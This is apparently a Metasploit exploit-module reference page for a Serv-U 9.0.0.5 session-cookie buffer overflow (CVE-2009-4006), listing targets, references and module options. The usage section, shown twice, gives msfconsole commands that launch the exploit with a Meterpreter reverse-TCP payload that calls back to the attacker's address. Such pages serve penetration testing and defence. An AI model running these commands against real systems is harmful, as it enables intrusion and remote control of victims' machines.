Rhinosoft Serv-U Session Cookie Buffer Overflow
This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5. Sending a specially crafted POST request with an overly long session cookie string, an attacker may be able to execute arbitrary code.
Exploit Rank
- Good
Exploit Authors
- Nikolas Rangos < nikolaos [at] rangos.de >
- M.Yanagishita < megumi1990 [at] gmail.com >
- jduck < jduck [at] metasploit.com >
Vulnerability References
- CVE-2009-4006
- OSVDB-59772
- http://rangos.de/ServU-ADV.txt
- http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html
Exploit Targets
- 0 - Windows 2003 SP2 English (NX)
- 1 - Windows 2000 SP4 and XP SP3 English (SEH) (default)
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/http/servu_session_cookie
msf exploit(servu_session_cookie) > show payloads
msf exploit(servu_session_cookie) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(servu_session_cookie) > set LHOST [MY IP ADDRESS]
msf exploit(servu_session_cookie) > set RHOST [TARGET IP]
msf exploit(servu_session_cookie) > exploit
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msf > use exploit/windows/http/servu_session_cookie
msf exploit(servu_session_cookie) > show payloads
msf exploit(servu_session_cookie) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(servu_session_cookie) > set LHOST [MY IP ADDRESS]
msf exploit(servu_session_cookie) > set RHOST [TARGET IP]
msf exploit(servu_session_cookie) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 80) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |